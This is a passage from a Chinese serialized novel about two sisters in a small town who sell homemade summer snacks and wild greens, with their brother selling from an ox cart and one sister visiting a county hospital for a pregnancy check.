白母看着姐妹俩不消停的样，回来一回整一个花样，简直不想看。
家里几个小的倒是格外的捧场，中午饭都不想多吃了，就等着姑姑们做好吃的，只是要午睡之后了，得冰一冰才好吃了。
“春枝啊，你们这个，关键是水要好哦！”
白母不愿意多说，吃了一碗凉糕的白父开口给了点意见。
“对，深井水，要清甜，做出来的才好吃，石灰水也要调好，下太重手就不好吃了。”
白二哥干了一碗凉虾，也发表了两句。
不过小毛毛们却很不给他面子的。
“二伯，这个好吃的、那个也好吃。”大毛吃得摇头晃脑。
“嗯嗯嗯，好吃的！”二毛更是吃得头都不抬，听哥哥说话了，才点头附和。
“爸爸，好吃吃！”小毛坐在妈妈怀里，拿着勺子凑热闹。
三个小毛毛，各自拿的小碗，每种都尝了点，很是给两个姑姑长脸了。
“这么舍得放料，拌狗屎都好的。”
这是白母最后的评价了，倒是又得三个小毛毛哈哈大笑。
“阿婆说拌狗屎哈哈哈哈哈哈！”
“不吃狗屎。”
“吃吃吃！”
带着三个小毛毛给的信心，白春枝让萧远山先将几麻袋东西托回去，她先准备着，白春芽第二天赶车来。
“我明天下午给你们拿两个西瓜回来。”
萧远山对小娘子要做什么，向来是支持的，并且积极想着他这边能做什么了。
这几种清凉解暑的小吃，传统就是红糖，不过，大夏天的，加点水果似乎口感能更丰富些。
“我们做这个放了熬的红糖水，是不是对西瓜甜度要求就没那么大？”
“你是说——”
萧远山本来是准备就在隔壁村里买些西瓜，他们一直在后山干活，也需要给大家准备点解暑的，但听小娘子话的意思，哪儿还能不明白，她这是想起了农科院门口的卖瓜大爷。
“你们先做着，我明天打电话给林老师。”
揉着小娘子这反射弧度略长的脑袋，萧远山没敢说隔了小半个月，说不定人家已经解决了，但答应去问问。
44. 西瓜
第二天，萧远山没急着早早回村，先帮小娘子把野菜理出来。
“春枝，你们今天要卖野菜哇？”
白春枝才刚端了一簸箕的灰灰菜出来，李阿婆一来就眼尖的看到了，赶忙过来问了一嘴。
“诶，阿婆你稍等哈，还有汉菜和苦苣了。”
她们姐妹俩昨天上午摘了一麻袋，下午倒是没上山了，但傍晚那会儿，萧远山和白二哥回来时，又给拎了两袋回来，更是不愁没卖的。
“昨天我们才上山摘的，还新鲜的很。”
话音刚落，萧远山就将分好的野菜端了出来，白春枝连忙帮他腾位子，三个大圆簸箕把木台面占得满满当当。
“我还正想着，今天买点啥菜了，刚好换换口味。”
李阿婆瞧那台子上三个种野菜有些泥巴印子都没掉的，鲜嫩得很，刚好也不用挑了，让白春枝直接给她称。
“就来点汉菜和苦苣。”
“好嘞！”
白春枝立马给李阿婆抓了两把，秤杆是翘得高高的，才给装起来了。
没一会儿，巷子里要买菜的婆婆大娘们也陆陆续续出门，路过的瞧见了基本都要来两把野菜，要不去市场割肉的，还让白春枝帮着留点，回头来买。
等白春芽到的时候，三麻袋野菜卖掉大半了。
“镇上的人，这么爱吃野菜啊？”
继续帮着姐姐整理剩下的，白春芽还有点不敢信了。
按她们之前想着，摘一袋就差不多，哪知道姐夫二哥又给弄了整整两麻袋，白春芽今天赶早过来也是怕一上午卖不完的话，得换其他巷子卖一卖，不能等着菜都蔫了，怎么说也是辛辛苦苦摘回来的。
没想到呀，看着还有点不够卖的样子。
姐妹俩说笑着，姜淑云牵着她家小豆丁来了。
“淑云姐，有段时间没看见了。”
白春芽同姜淑云打完招呼，低头见小豆丁垫脚朝门口张望了下，似乎在找门口的小炉子，忍不住要逗逗他了。
“今天也没有鹌鹑蛋哦，你早上有没有好好吃饭呀？”
“……”小豆丁脸蛋儿微红朝妈妈的大腿靠了靠，不好意思回答阿姨的问题。
“就是有点愁他吃饭呀！”
姜淑云顺着白春芽的话，点头又说起吃饭的问题。
“早上和晚上没那么热还好，我们也尽量做些他喜欢的，我是听我托儿所的老师讲他中午也吃的少，那才有点焦人了。”
“我们昨天上山摘了点野菜，你看要不要弄点回去，吃了清热。”
白春枝怕姜淑云不大会，又说了下凉拌菜的简单做法，又蹲下来问小豆丁。
“这个绿色的菜菜，有一点点苦，但是很好吃哦，你愿意尝尝吗？”
小豆丁爱吃白春枝做的肉粽和鹌鹑蛋，对白阿姨家的东西还是挺信得过了，看了眼妈妈，才腼腆地点点头。
“哎呀，终于是有他点头要吃的了。”
姜淑云这个老母亲对自家孩子也没法了，不过又跟白春枝定了一只鸭。
“等休息日让他爸爸做个老鸭汤，还是得吃点肉，给孩子补补的。”
说笑了两句，白春枝给姜淑云称好野菜，叫她下午下班接了孩子来取也是一样，反正她们是在家的。
“那感情好啊！”
不用把菜拎去单位，姜淑云也觉得这样方便。
“哦，淑云姐，我们一会儿还做些小吃了。”
野菜卖的差不多了，白春芽在整理等下要用的东西，想起小孩子应该也喜欢的，立即提醒道。
“中午你要是空的话，也可以来给孩子端一碗，甜哈嘴。”
“你们又要做啥新东西啦？”
一听有新的小吃，姜淑云格外好奇了。
其实镇上有不少的小店正在慢慢恢复营业了，单是早餐摊子，花样都很多的，只是对姜淑云来说就不太顺路了，要不是让孩子爸爸一大早去买回来，要不就是她早些出门绕点路，但有这功夫他们就在自家做了，不过味道差点但能吃。
白春芽就给母子俩介绍了下她们准备做的消夏凉品。
“看来小乖乖也喜欢哦？”
白春枝瞧着小豆丁也在认真听妹妹介绍，每说一种他眼睛就亮一分，很是好笑。
“嗨，他都没吃过没见过那些了，就是吃过估计也是不记得的。”
姜淑云低头牵着孩子的手晃了晃，读懂他是想的就点头了。
“孩子嘛，应该都喜欢甜的，我一会儿中午来吧！”
答应了姜淑云之后，两姐妹也就着手开始做了，刚好早点做好在井水里井一下口感会更好。
因为已经弄过一次了，再做就更顺手了。
“米我已经泡起了。”
昨天算时间比较赶，让大哥帮忙磨的糯米，白春枝回来后是把米提前泡上了，等下直接磨米浆就好。
“诶，姐你说我们要不要去巷口那家买点冰？”
消暑的，自然是冰一点的更好，家里有井可以降温，但效果肯定没冰块那么快了，而白春芽不仅把注意打到巷口那家去，还想再打探下消息了。
“这不太好吧？”
白春枝揉冰籽的动作一停，感觉有点不靠谱，她们马上要卖这些小吃了，现在跑到人家那会儿更像是挑衅吧？
“那有啥，我去买冰，他们还能不乐意么？”
说着，白春芽揣上钱就跑出去了。
“哎──”
白春枝瞧着自己满手的泡泡，只好随妹妹去了。
今天要做的多，白春枝一边望着外头，一边耐心地揉，冰粉要想好吃，全看着手搓的小气泡。
“姐，来！”
没多久，白春芽就回来了，手上还拿了两个雪糕，居然都没买冰棍，真是花大价钱打听消息了。
白春枝洗了手，接过雪糕来，果然听妹妹讲道。
“他们家那么大店面，真是不行哦，就两个箱子，冰块都没有。”
“你还都让人家打开给你看了啊？”
白春枝吃了一口，留下了浓郁的奶香味，有点猜不到妹妹是怎么做到让人就打开箱子给她看了，她可是听李阿婆说了，用着被子保温，那不是开一次冷气全跑完了么？
“这个啊，花钱了呀！”
白春
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芽晃了晃手上的小木棍，买的最贵的雪糕呢！
“我先看了冰棍，然后摇摇头，又摸了钱出来了，老板肯定就开雪糕箱子啦！”
“就你作怪，小心老板认出你来。”
白春枝吃着雪糕，想想那场面就有点尴尬，他们这算是相互打探敌情吧？
“没呢，之前被打的那个不在，换了个年轻人了，我估计老板又去哪儿取经了。”
白春芽两口吃完雪糕胡乱猜测着，然后又感叹道。
“他们店面是真的空，就两个小箱子，其实完全可以摆在外头不占位置的，还是不会做生意啊！”
“……”
听妹妹这么一说，白春枝大概想象了，只怕这冰棍雪糕生意还真只是过渡，但人家要做啥他们也管不着，只愿别真再杠上了。
吃完雪糕，姐妹俩继续干活。
冰粉比较快，冰粉籽揉搓出果胶后就可以加入清石灰水搅拌了，静置就可以了。
凉糕和凉虾稍微复杂点，磨完米浆后，需要和石灰水一起熬开了，再倒入碗中和大漏勺漏出放凉。
差不多到中午了，没啥人来的，请老爷子在外面坐镇，姐妹俩进去熬米浆。
赶着做午饭的时候，萧远山先回来，还真是带了西瓜回来。
“我已经跟林老师通了电话，大爷那事儿还没完全解决，不过最近是不再异想天开把西瓜变甜，趁着这半个月西瓜还能放，尽量销出去了。”
萧远山去这个电话，林茂祥接到得知他来意还挺惊讶了，西瓜大爷最近是没怎么蹲他们农科院了，不过西瓜甜度不够，要不骗人，还真不好卖，不说买得多要开两个来看看，就是买一个瓜的，有些也得让中间去一小块尝尝味道才会买的。
“林老师感谢你提的这建议了，要不是省城离得远，肯定得让大爷给你送点过来了。”
“那他们准备怎么做？”
白春枝也就是做冰粉的时候突然想着了，但林专家那么正式的道谢，她这会儿觉得自己的提议可一点不成熟的。
“因为西瓜的量比较大，目前是往榨汁的方向去找销路了，这里面也可以加甜味，白砂糖基本不影响西瓜的口感了。”
“那还挺好了，我们这小吃里加点西瓜，确实是量小。”
有了解决办法，白春枝就放心了。
下午在做第二盆冰粉的时候，白春枝不仅切西瓜丁撒在上面，还试着加了两牙西瓜进去搓。
最后，出来的又是粉红色还带着淡淡西瓜味的冰粉更受欢迎了。
这让本来只是尝鲜来买一碗的婆婆大娘们，随便来一份可不行的，身旁的小孙孙些伸出小手指点名要西瓜冰粉或者凉虾了，小孩儿们就喜欢这样的。
“姐，我们明天多做点！”
“好啊！”
忙到傍晚才收摊，白春芽已经在计划第二天的量了，白春枝瞧着妹妹积极的样子，也是好笑。
不过这消夏凉品的生意是真的出乎她们意料。
三种下午都又做了一次，特别是后面的西瓜冰粉，直接是做了两盆，又是赶着小孩儿放学、大人下班，几乎半个巷子的人都来买了。
45. 葡萄
接连几天的好生意，特别是休息日那天，人更多了，一下子让山枝小店又火了起来。
暑期里，托儿所不放假，但小学初中却是要放了，其他几条巷子的小孩儿消息一个传一个，瞧着这片的孩子大半都有来过了。
“阿姨，明天还会做别的颜色么？”
一个小孩从家里拿了大碗，点了好几种要求混一起，看着很是丰富，临走前看到人家要的西瓜冰粉，又问道。
白春枝从西瓜那里得到启发，加上最近又在卖野菜了，于是她大胆的试了几种，现在店里除了粉色的冰粉，还有绿色的。
不过野菜始终是有点微微的苦涩，大人喜欢觉得清热解毒，可小孩儿们就只想要颜色好看、不爱苦苦的味道，每次都让多加点红糖才行。
后面白春枝又拿萧远山摘回来的黄瓜试了试，只用了皮，捣碎了挤出汁颜色才足够，调出来的冰粉口感也正合适，淡淡的绿色，吃的时候还有一股清香。
“有的有的，明天还有紫色的哦！”
又端了一盆凉虾出来的白春芽听到这话，赶忙笑着回了小朋友。
“……”
等小孩儿满怀期待走了，白春枝不明所以的看向妹妹，什么时候又出了新的，她怎么不知道？
“姐，放心啦，今天冬子也跟着去后山了，我让他摘几串山葡萄回来。”
白春芽也是今早临时嘱咐的小弟，不过对于姐姐担心的问题，她很笃定了。
“就用葡萄皮，肯定可以的。”
山葡萄可能会有点酸，但想想她们最后还要放红糖了，白春枝点了点头，将心底的疑惑压了下去。
第二天又是一个休息日，白春芽喊了小弟一起来。
“大姐，你们这可真行啊，我同学都知道山枝小店的。”
“端午那天在南河有遇到你们学校的学生，她们后面还挺爱来了，估计是听那几个小姑娘说的。”
白春枝做的这彩色的冰粉，就最得这些小姑娘喜欢了。
白冬子一来，多了个利索的劳动力，白春芽今天更是大胆的想要多做一倍的量，白春枝知道了自然是要阻止她的，不过她有她理由。
“姐你没听小弟说的么，他同学都知道我们小店在呢，那可是隔了几条街呀，可见咱这名气，真是打出去了！”
“然后呢？”
白冬子见她二姐光盯着自己笑，瞬间有了点不好的预感。
“然后就是，我们做好了，你赶着牛车去卖！”
“……”白冬子不敢置信的看着自家二姐，随后想起什么来，又指了指外头几个木箱子，“你着急让老爹打出来的这箱子，感情是给我准备的啊？”
“是呀，你可知足了吧！”
白春芽冲小天井的牛车，抬了抬下巴，一副过来人的样子，劝着自家小弟。
“想当初，我和你大姐走街串巷卖粽子，那可是靠的双脚的啊，现在这还给你备好了车，想想真是幸福。”
“……”
被二姐一句“冰粉凉虾随便吃”骗来的白冬子，顿时不知道说什么好了。
“小弟能行么？”
白春枝不看姐弟俩斗嘴，转头问弟弟，虽然这生意也挺有季节性的，就夏天能买，但也要看白冬子自己的意见了。
“行啊，怎么不行？”
见大姐问自己了，白冬子赶紧收起跟二姐的嬉皮笑脸，很正经的点头回道。
不说别的，就单是上次没能参与卖粽子，白冬子想想就觉得可惜，这次刚好在暑假，他肯定不掉链子。
白冬子这边说好，白春枝也不拦着妹妹了。
人多好干活儿，也不用特意等到午饭后才开始了，白春芽直接给小弟指派任务。
“先将大伙儿订的那些鸡鸭鱼都搬到小卖店，然后你回来涮一下木箱，最后就搓冰粉籽吧？”
“我的好二姐呀，一项项的来行么？”
白冬子听到第一句就抬脚往外走了，结果他二姐，这是说个没完了啊。
“好好干，完了，让大姐给你开工资！”
白春芽朝姐姐笑了笑，见白春枝没说什么，又对小弟得意一笑。
“哎。”
白冬子真是服了自家二姐了，认命的先去搬东西。
屋里多说了两句，白春枝和白春芽听到门外有人在喊了，赶紧去开板。
休息日照例人会多一些，有了白冬子的这个随喊随到的跑堂小弟，姐妹俩动作更快了，把大部分订货的送完，刚赶上老爷子拎着八哥回来。
“你们去里面忙，我帮你们看店。”
老爷子进来瞧着小天井那几个大盆就知道他们今天是有的忙，转身又把鸟笼放小卖店了。
“好，有人您喊我们。”
白春枝点点头，也不跟老爷子假客气了。
白冬子这会儿已经按要求搓好三盆冰粉了，分别是原味的，和西瓜、黄瓜两种彩色的。
“很有力气嘛！”
白春芽夸赞了下小弟，然后就领着白冬子进灶房端泡好的糯米去磨米浆，一点不耽误的。
白春枝则要开始试试用葡萄皮做紫色冰粉了。
“妈呀，这是真的酸呐！”
白春枝剥了一串山葡萄，葡萄皮收好，果肉却没舍得扔了，白春芽过来挑了一颗看起来最大的，吃进嘴了，直接酸的感觉牙都要掉了。
“有这么夸张么？”
白春枝见妹妹酸的瞬间没眼了，突然觉得口齿生津，也顺手放了一颗在嘴里，嚼了嚼。
“……”白春芽睁眼看姐姐神色都没怎么变的，有点不敢相信，“不酸？”
“感觉还好诶？”
“真的假的？”白春芽伸出试探的小手，犹豫了下，又朝白冬子招手，“小弟来，给你吃个好东西。”
“什么啊？”
白冬子刚磨好一桶米浆，走过来一看二姐要给他吃山葡萄，赶紧后退半步躲开了。
“不酸的，你看大姐！”
白春芽哪能让小弟逃掉了，直接将人拉到跟前，又转头让他看大姐。
“……”
在弟弟妹妹注视下，白春枝又面不改色的吃了一颗山葡萄。
“加糖了？”
白冬子依旧有些不信，但手已经伸向了装葡萄的碗，他摘了几串都没吃的，是因为新找的那处山葡萄比较甜？
“你那颗也不酸？”
白春芽见小弟吃了也没怎么变脸
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色，不死心又问了一句，难道就她比较倒霉吃到了一颗特别酸的？
“唔唔——”
“嗯？”
白春芽在小弟的点头默认下，又慎重的挑了一颗，不过刚扔进嘴里就吐了，然后开始追着小弟打。
“找死啊，白小冬！！”
“哈哈哈哈哈二姐你也太好骗了！”
两个人打闹了好一会儿回来，又想起最先偏他们的是大姐啊！
“姐！你怎么也开始骗人了呀！”
“没啊？”白春枝摇着头，又吃了一颗，最后在两姐弟目瞪口呆下，才笑道，“是有一点酸，但我感觉还好。”
“我的妈呀，这怀孕了，口味变得可真大！”
“可能吧？”
白春枝坐在凳子上看不出肚子，这算是她感受到怀孕后的第一个变化了。
紫色冰粉，白春枝试了两次。
葡萄皮几分钟就熬煮出颜色了，不过那味道，反正白春芽和白冬子是坚决摇头的，最后是加了白砂糖才行。
“咱这个不得卖的再贵些啊？”
白冬子瞧姐姐也是很舍得了，那么一点水都加了不少糖的，看着都让人心疼。
“那这个葡萄给糖渍了，放在面上，当是真正的水果冰粉了，再多买贵两毛？”
加上葡萄，让冰粉涨价更合理了，不过白春枝说完定价，还有点不太确定。
“要是你们的话，愿意买么？”
“买啊，怎么不愿意了？”
白春芽举双手赞同了，然给姐姐吃了一个定心丸。
“姐，你想想那冰棍雪糕，我们这不仅加了白糖，还熬了红糖呢，多实在！”
冰棍比较便宜，只要几分钱，不过雪糕是奶做的，就要贵些了，可买的人还不少，所以真不缺愿意花钱的人。
姐弟三人将东西做好，井里都快不够放了，也就不等下午了，才刚刚中午就将东西端出来卖了。
“哎哟，今天这么早呢？”
这会儿大中午出来买东西的人，和早上预订鸡鸭鱼想在休息日做好点的，不是同一拨人了。
拎着凉面回家的小夫妻，一看就是今天懒得做饭了，顺便又端了两碗冰粉回去。
这样的人不多，但也不少了，中午这会儿，零零散散都卖了两盆。
吃过午饭，人就多了起来，白冬子是将牛车都套好了，几个木箱子放上棉被，稳稳的捆在平板上，白春芽却没让他出门。
“你先来帮我和姐，一会儿人多。”
“对，小弟，现在出去太阳正大着，等晚点儿再去，等午睡完大家也爱出门，你喊了才有人来。”
白春枝也解释来一句，拉住憨憨的小弟。
这会儿是被派出来的小孩儿比较多，午饭吃完就想来点甜甜嘴的。
所以，葡萄味的紫色冰粉一出，很受欢迎了。
有个小孩儿计划留两毛睡完午觉买冰棍的，瞧着大伙儿都在买，就怕来晚了没有了，也赶紧换成葡萄冰粉。
“反正，冰棍什么时候都能买的。”
“……”
小孩儿这话一出，白春芽看了姐姐一眼都没敢接话。
真没想抢对方生意啊。
46. 外送
中午这阵，小孩儿们顶着最烈的太阳，跑的满头大汗，一个个端一碗回去都挺高兴的。
就巷子里这么一会儿，又舀完了两三盆，下午是不愁了。
姐弟三人稍微闲下来时，准备自己也来一碗凉快一下，老爷子从杂物间搜寻了一张小桌子出来。
“这下好了，桌子板凳是都有了。”
先前老太太们就爱坐门口摆龙门阵，白春枝在这儿卖东西后，更爱过来了，一起摘个菜、拉个家常，时间过得很快了，萧远山见状，当即就回一趟村里将家里那些没能带走的小凳子都给搬了回来，现在加上小桌子，真像是搞上了小吃摊。
有了这个便利，别的巷子溜达过来的，好多直接在这儿吃一碗，再带一碗回去。
“我现在得出门了吧？”
白冬子又从井里捞出来一桶问道，灶房里等着晾凉的凉糕和凉虾也就剩一半了。
“嗯，你先装车。”
白春芽帮着打完最后一碗，又赶紧去拿她姐备好的碗和调羹。
“有人没拿碗的，你可以先给打一碗，等会儿去收碗。”
“那，用不上调羹吧？”
叮叮当当的装了一木箱，白冬子看着溜缝的调羹，不禁觉得会不会有点多余啊。
然而，等他赶着牛车出去后，才知道他大姐的决定是多么的明智。
几条巷子的情况其实都差不多，婆婆大娘们都爱扎堆儿坐门口，今天是休息日就更多人了。
白冬子的牛车才拐进巷子，还没吆喝了，就有小孩儿大胆的凑过来看牛，等知道这是卖冰粉凉虾的车子，立即欢快地跑回去要钱。
“等等我啊，我马上来！”
“不急，就这儿了。”
白冬子顺势就将车子停在榕树下，刚好能遮阴的地方，这片人也多，树下的老太太们听到他和小孩儿的对话，也好奇的问了一嘴。
问完自然就有人买了。
等小孩儿再跑过来，白冬子已经开张了，舀了两碗，都是老太太给家里孩子端回去的。
“嚯，带碗来就可以了。”
风风火火跑来孩子，抓着一把毛钱，递给白冬子的盆却是比他脑袋都大。
“我妈问能不能多来点糖水？”
“哎呀，叮叮猫，你妈还算得精哦！”
白冬子掌着勺还没说什么，一旁的阿婆已经帮忙开口了，不过作为第一位小客人，他还是给多舀了点红糖。
“哈哈哈，谢谢哥哥，回去再兑水也好喝！”
小孩儿要的是两碗混一起装，多加了点糖水，瞧着小半盆还挺多了，顿时笑眯了眼，道完谢又小心翼翼的端了回去。
白冬子在树下呆了一小会儿，等人还碗回来的功夫，又卖出去了几份。
接着他又换地方继续叫卖。
有了第一站的顺利，白冬子也算琢磨出了点经验，专门冲着玩耍的孩子喊。
小屁孩儿们就跟移动的小喇叭似的，不出片刻，附近都知道那牛车上载卖冰粉凉糕凉虾了。
再次在一棵大树下停好车，白冬子刚打开木箱子，跑回去拿碗拿钱的小孩儿已经叽叽喳喳的围了一圈。
“不急啊，一个个慢慢来，都有的。”
“我知道你家，我前天还跑去你们巷子买过，没想到你今天就来我们这儿！”
“……”
白冬子也是没料到了，还能遇到老顾客呢！
“哇，今天还有紫色的冰粉！”
吃过的显然比旁边的小孩儿“懂”的多了，完全不需要白冬子多介绍，就将他知道的都告诉小伙伴儿了。
“这个粉色的，就是我跟你们说的西瓜冰粉，有西瓜味的，绿色的是黄瓜味。”
白冬子把糖渍的小碗揭开，就听那小孩儿又继续说道。
“我猜那个紫色的是葡萄味的，哥哥，是不是葡萄的？”
“是！”
白冬子点点头，又跟几个小孩儿说了价格，葡萄的贵两毛是要放葡萄果肉上去了。
“那我要一份葡萄的。”
吃过的小孩儿还挺有钱了，一点不带犹豫的要试试新品，给完钱，转过来还跟其他人出主意。
“你们可以混着买，让哥哥给你们每种都打一点，就能全部尝到啦！”
“对。”白冬子好笑的看着那个特别“懂行”小毛孩儿，搞得他都只有点头的份了，不过拿勺子下手时，又说明了下，“凉虾跟凉糕差不多，我就不打散了，你们要我就两三种给你们混到一起。”
“那我要一份混合的。”
“我也都要。”
“我只要三种有颜色的冰粉。”
“……”
白冬子挨个给打完了，小孩儿们空出了位子，才有大人过来，刚才都挤不进的。
这棵梧桐树下，白冬子多呆了一会儿，才收拾去姐姐说的那个职工家属区。
“诶，哥哥等等我啊！”
“我还要买葡萄味儿冰粉！”
刚听到风声来晚的小孩儿，见白冬子要走了，一点也不客气的爬上了牛车。
白冬子无奈停车给他打好递过去，那孩子接过碗也不下去，直接在车上吃了起来。
“哥哥，你直接往前走，我不回去翻碗，吃完就还你，我一会儿自己回去。”
“……”
白冬子回头看了眼这吃得唏哩呼噜的毛孩子，真是不知道说什么好了。
“哇，张二娃你咋坐牛车了，你要去哪儿？”
“吃冰粉呢！”
“哇哇哈哈哈好安逸！”
“我也要来！”
“快上车！还有位子！”
“……”
就这样，等白冬子抵达家属区时，载了一车的小孩儿，根本不用他扯着嗓子喊了，光看那一张张小嘴留来一圈的红糖，都知道他卖的啥。
小毛孩儿也吃完东西，嘴巴也不闲着，来人问什么，都积极的帮忙回答，搞到最后白冬子都不好意思了，又给他们各自添了一勺糖水。
“也不知道小弟卖得怎么样了？”
姐妹俩驻守小卖店，本来还有一小半的存货，估摸着能卖到傍晚，结果老爷子下午睡完午觉去茶馆，竟是给她们拉了不少生意。
两人往茶馆送了几次，店里剩的不多了，这会儿才是愁白冬子什么回来了。
“大姐、二姐！”
人真是不经念叨，两姐妹正说着要不要做饭还是再等等，白冬子到家了。
“
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卖完了，全卖掉了，一点儿不剩的！”
说着，白冬子就将几个栓起来的木箱子取下来，打开盖子，里面盆倒是空了，都是吃过的碗和调羹。
“你们是没看见哪些毛孩子哦，真是皮的。”
“咋啦？”
白春芽扒着木箱子看了看，还以为小毛孩把碗给打烂了。
“没呢，都好好的。”
白冬子见他大姐也跟着来小天井了，赶紧摇头，可不是坏事了，然后笑着讲了他这一趟出去的经历。
“后面没剩多少了，也是他们张罗让家里拿碗拿盆，又几分一毛的把糖水都给舀回去了，说是兑水能甜甜嘴。”
“哎哟，这帮孩子可真是不得了哦！”
“……”
有了白冬子的加入，白春芽是一到休息日就把小弟拉来镇上，整个暑假小卖店的生意都格外的好。
“好了，这是小弟的那份。”
快开学了，白春芽没发再继续让小弟来做白工了，白春枝也赶紧算了算他们小摊子最近赚的。
“谢谢大姐！”
“光谢谢大姐，不谢谢二姐啊，可是我拉着你才有这个活儿了！”
白春芽上手就拍了拍小弟的后脑勺。
“你不奴役我就好了！”
厚厚一叠钱捏在手里，白冬子也不怕了，果然反抗起来。
“还奴役了！”
“……”
看着又打闹起来弟弟妹妹，白春枝无奈摇摇头，只最后提醒小弟，钱自己放好了。
有消暑凉品带着，山枝小卖店的名头越来越响了，其他巷子家里有客要来，都爱提前来他们这儿预定鸡鸭，再来点干菌子，这都够两三个大菜了。
而萧远山最近又开始进山，准备入秋收山货，还真让他发现了点好东西——天麻。
这东西炖鸡，又是非常补的，冬天肯定是不愁卖。
“林老师过两天可能会来一趟。”
丹参种子出苗、返青，都是他们照着林茂祥的种植手册，和萧远山随时打这电话汇报情况，摸索着来的，入秋要开始移栽了，农科院那边无论如何会来一趟的。
“刚好我明天回村，先跟妈说一声。”
这段时间忙，白春枝好些日子没回村了，家里的房子都修好了，再通通风就等着入秋搬进去。
“不急，明天我们先去趟县里吧？”
萧远山还记挂着那什么孕检了，虽然他们是让老大夫把过脉，没什么问题，不过听说县里医院的机器要先进些，全面检查一下，总是好的。
提起这个，白春枝也点头了。
她现在除了肚子稍微能摸到一点点，口味儿有些许变化，能吃能睡的，时常忘了自己怀孕的事。
那冰粉盆、凉虾凉糕的桶直接上手去端去拎，那生猛劲儿，总能吓到白春芽和白冬子。
“你呀……”
萧远山见小娘子还将这当笑话讲给他听，差点也跟着吓出了一身冷汗。
“好在现在天慢慢转凉了，也开学了，吃的人应该不多了吧？”
“你怎么还盼着我们生意不好呢！”
白春枝气呼呼的捶了下夫君，她和小妹还准备赶着秋老虎这阵，再赚一笔的。
47. 孕检
清晨，萧远山本想让小娘子多睡会儿，他们不用赶着第一班车去县里，不过白春枝是习惯了早起。
“不是说会贪睡吗？”
“是会贪睡些，但你看我们晚上睡得多早呀！”
村里人晚上没什么活动，大多熄灯早，只夏天偶尔有人大晚上不睡觉跑去田里捉蛙了。
到了镇上，就天热还有人出来纳凉、喂蚊子，家里有那电视的还是比较少，白春枝听说，那电视节目也是早早就播完了，大伙儿散场早，回去可不是只有睡觉么！
每天早睡早起，白春枝感觉自己精神头挺好的。
“嗯，还是有一点变化，胃口大了些。”
今早是煮的青菜稀饭，平时二大碗是萧远山和老爷子吃的，现在白春枝一碗下肚，还又添了小半碗。
“别听他瞎说，这稀饭又不经饱，多吃点，你们要上了县里再回村，起码得中午了。”
老爷子瞪了眼孙子，嘴上宽慰着孙媳妇，脚下也不客气的踹了萧远山一脚。
“阿公你等会儿直接先村，还是等我们回来？”
白春枝不理会得夫君的调侃，两口喝完稀饭，最后偷吃一口泡菜放下筷子，问着老爷子的安排。
她二哥已经南下打工了，家里房子修好，白母也就不准备大办乔迁宴，趁着小弟上学，两家简单聚一聚就行。
“我自己驾牛车回去，你们不用管我。”
老爷子知道两人是要上县里检查的，就不跟着跑一趟了，他自己先回村上山看看。
白春枝没收拾多少东西，他们回来还得骑三轮了，要拿回去的东西放车上好了。
不慌不忙的，小夫妻俩到客运站时，竟还赶上了头班车。
等到了县医院，瞧着是比镇上的卫生院大，主楼是小二层，两侧是平房，但人却不少。
“我们要先前做什么？”
看着排队的人，白春枝有点两眼一抹黑，这可不是他们那儿能直接看到医生就问了。
“我去问问。”
萧远山回来的很快，其实他们就被县医院大门气势吓到了，里头不复杂的，就三个科室，综合内科、外科和妇产科。
不用说了，他们得去妇产科。
转头去右边的平房，尽管来得还算早，里头也排上队了，听到婴儿声时，白春枝才惊觉，这还真有人到医院来生孩子呢！
一时半会儿还不到他们，白春枝拉着夫君探着头在人家房门口看了。
这个萧远山还是知道一点，将小娘子引到长凳上等候，才跟她说道。
“现在来医院生孩子的还是少，一般是不太好生的，有医生护士照看着，情况很会好很多……”
“是哦，要不是怕大出血，哪个愿意花这个钱哟，医院头天天住着，钱就跟流水一样咯！”
萧远山没讲完，一旁的大娘特别有共鸣的接话了，说完也一点不见外的跟小夫妻说起了自家的情况。
“我们这也是好好听了医生的话，按时来检查着的，不然等生不下来，那才恼火的，唉，不管咋说，大人娃娃平安才是最重要了。”
“是。”
夫妻俩赶忙点头了，钱不钱的，都没人命要紧，白春枝和夫君偷偷对视一眼，不禁猜测——
这大娘估计是产妇的亲妈。
只是待孩子爸爸过来找老妈，瞧着母子俩一个模子刻出来的长相，想法瞬间动摇了，感情人家这是婆婆呀！
不过短暂的排号，小夫妻俩还见识到了人生百态。
有生男孩儿高兴的，直说是这医院没来错，钱没白花，大方的人家，还给医生护士送红蛋了，但也有赶早过来的，得知生的是个女孩儿后，当即甩脸子走了。
这么动静，自然是走廊的众人都瞧见了，萧远山拍了拍小娘子的手，见她没被吓倒了，才放下心来。
而还有一个让白春枝惊讶的现象是，这还没生呢，就有想要知道孩子是男是女了，一个劲的追问医生，那关着的门都挡不住大嗓门儿。
“现在有这技术了吗？”
白春枝知道现在医学发达，人身上划一刀都能缝好活命的，孩子生不下来，也能帮助剖腹生，但没想到，生孩子还能提前晓得啊！
以前听闻那些高门大户的阴私，说是有神医是能摸脉摸出来了，但这种事也没人去证实了。
“有，听说是个什么光，照一下，骨头都能拍得清清楚楚，孩子长得怎么也能看到。”
萧远山也是最近才有去了解的，但他们县里还没有这机器，得到市里才行。
“那他们还问医生做什么？”
这话，白春枝问得很小声了，都没机器，不是难为医生么！
如今的社会也不像是他们原来，一夫一妻，不讲嫡庶尊卑，怎么还非得生男孩儿了呢？
“你这是太久没听广播了吧？”
萧远山瞧了眼他们的号还得有一会儿了，凑近和小娘子咬耳朵。
“你之前不是听过一句话‘一个不少，两个正好，三个多了’么？”
“对呀！”
白春枝点点头，也学着夫君小声回道。
这还是他们刚来不久，村里的大喇叭转播的新闻，白春枝听了还和萧远山奇怪，怎么还管上大家生孩子了，不过听完原由，也觉得有道理。
要是饭都吃不上了，生那么孩子多出来也是受罪。
当时两人刚明白太早要孩子不好，决定晚点再怀，然后也跟着计划上，以后就生两个好了，科学养娃，这也是他们比较积极来医院的原因。
萧远山显然也想到了当初的事，摇了摇头继续道。
“最近听说，要提倡每对夫妻只生一个孩子。”
“一个啊？”
这让白春枝有些惊讶了，她觉得两个是合适的，这可怎么办呀？
“没事。”
萧远山摸着小娘子的脑袋，让她放轻松。
今年的头等大事刚分完田了，刚开始割谷子，等打完上了公粮，才知道收成了，村里根本没空管这事。
“这政策要是下来了，那也是城镇先开始，你看那些来的，样子更像干部职工了。”
听着夫君这样说，白春枝也偷偷摸摸的观察起了周围排队的小夫妻，特别是看完出来的，还要瞧瞧人家表情了，但人县里人的打扮总归是要洋气些，她不大分辨得出来。
“白春枝！白春
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枝在不在？”
没等白春枝得出什么结论，再和夫君交流一下，就听见喊她的名字了。
